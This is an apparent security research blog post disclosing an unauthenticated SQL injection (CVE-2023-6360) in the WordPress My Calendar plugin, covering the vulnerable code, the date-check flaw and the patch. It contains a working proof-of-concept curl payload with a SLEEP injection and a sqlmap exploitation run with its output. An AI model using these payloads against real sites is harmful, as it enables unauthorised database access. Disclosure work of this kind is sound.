WordPress MyCalendar Plugin — Unauthenticated SQL Injection(CVE-2023–6360)

Joshua Martinelle
Tenable TechBlog
Published in
5 min readJan 2, 2024

WordPress Core is the most popular web Content Management System (CMS). This free and open-source CMS written in PHP allows developers to develop web applications quickly by allowing customization through plugins and themes. WordPress can work in both a single-site or a multisite installation.

In this article, we will analyze an unauthenticated sql injection vulnerability found in the MyCalendar plugin.

This was discovered by Tenable Research while working on web application security.

Reference: https://www.joedolson.com/2023/11/my-calendar-3-4-22-security-release/
Tenable TRA : https://www.tenable.com/security/research/tra-2023-40
Affected Versions: < 3.4.22
CVSSv3 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
CVSSv3 Score: 8.6

My Calendar does WordPress event management with richly customizable ways to display events. The plugin supports individual event calendars within WordPress Multisite, multiple calendars displayed by categories, locations or author, or simple lists of upcoming events.

Vulnerable Code:

The vulnerability is present in the function my_calendar_get_events() of ./my-calendar-events.php file which is called when a request is made to the function my_calendar_rest_route() of ./my-calendar-api.php file.

Here is the interesting code part, it is quite huge so I just have to keep the interesting part for the article :

// ./my-calendar-events.php
function my_calendar_rest_route( WP_REST_Request $request ) {
$parameters = $request->get_params();
$from = sanitize_text_field( $parameters['from'] );
$to = sanitize_text_field( $parameters['to'] );
[...]

$events = my_calendar_events( $args );

return $events;
}

function my_calendar_events( $args ) {
[...]
$events = my_calendar_get_events( $args );

[...]
}

// ./my-calendar-api.php
function my_calendar_get_events( $args ) {
$from = isset( $args['from'] ) ? $args['from'] : '';
$to = isset( $args['to'] ) ? $args['to'] : '';

[...]

$from = mc_checkdate( $from );
$to = mc_checkdate( $to );
if ( ! $from || ! $to ) {
return array();
}

[...]
WHERE $select_published $select_category $select_location $select_author $select_host $select_access $search
AND ( DATE(occur_begin) BETWEEN '$from 00:00:00' AND '$to 23:59:59'
OR DATE(occur_end) BETWEEN '$from 00:00:00' AND '$to 23:59:59'
OR ( DATE('$from')
[ ...]

return apply_filters( 'mc_filter_events', $arr_events, $args, 'my_calendar_get_events' );
}

When we look at the function in its entirety, the first thing that catches our eye is to see that raw SQL queries without the use of wpdb->prepare() are executed with variables such as from & to which correspond to user inputs.

Looking at the code, can see that mc_checkdate() is called on from & to and if the result is not valid for both, a return is made before executing the SQL query.

Let’s take a closer look at this function :

function mc_checkdate( $date ) {
$time = strtotime( $date ); # <= Is a bool(false). The error is actually here, this is what allows the payload to pass
$m = mc_date( 'n', $time ); # <= eq to 11
$d = mc_date( 'j', $time ); # <= eq to 23 (current day number)
$y = mc_date( 'Y', $time ); # <= eq to 2023

// checkdate is a PHP core function that check the validity of the date
return checkdate( $m, $d, $y ); # <= So this one eq 1
}

*/
function mc_date( $format, $timestamp = false, $offset = true ) {
if ( ! $timestamp ) {
$timestamp = time();
}
if ( $offset ) {
$offset = intval( get_option( 'gmt_offset', 0 ) ) * 60 * 60; # <= No importance for the test, we can leave it at 0
} else {
$offset = 0;
}
$timestamp = $timestamp + $offset;

# So in the end returns the value of gmdate( $format, $timestamp );
return ( '' === $format ) ? $timestamp : gmdate( $format, $timestamp );
}

For simplicity, we can take the vulnerable code locally to observe a more detailed behavior :

This simple error therefore allows our SQL payload to bypass this check and be inserted into the SQL query.

Proof of Concept:

time curl "https://WORDPRESS_INSTANCE/?rest_route=/my-calendar/v1/events&from=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(1)))a)+AND+'a'%3d'a"
{}
real 0m3.068s
user 0m0.006s
sys 0m0.009s

Exploitation:

sqlmap -u "http://192.168.1.27/?rest_route=/my-calendar/v1/events&from=1*" --current-db --dbms=MySQL
___
__H__
___ ___[']_____ ___ ___ {1.7.9#pip}
|_ -| . [(] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 09:48:00 /2023-12-21/

custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q]

[09:48:02] [INFO] testing connection to the target URL
[...]
[09:48:08] [INFO] URI parameter '#1*' appears to be 'MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause' injectable (with --string="to")
[...]
[09:48:08] [INFO] URI parameter '#1*' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable
[...]
[09:48:38] [INFO] URI parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[...]
[09:48:54] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 20.04 or 19.10 or 20.10 (focal or eoan)
web application technology: Apache 2.4.41
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[09:48:54] [INFO] fetching current database
[09:48:54] [INFO] retrieved: 'wasvwa'
current database: 'wasvwa'

Patch :

For backwards compatibility reasons, the author of the plugin decided to modify the mc_checkdate() function rather than using wpdb->prepare()

function mc_checkdate( $date ) {
$time = strtotime( $date );
$m = mc_date( 'n', $time );
$d = mc_date( 'j', $time );
$y = mc_date( 'Y', $time );

$check = checkdate( $m, $d, $y );
if ( $check ) {
return mc_date( 'Y-m-d', $time, false );
}

return false;
}

Adding this additional check is sufficient to correct the vulnerability.

--

--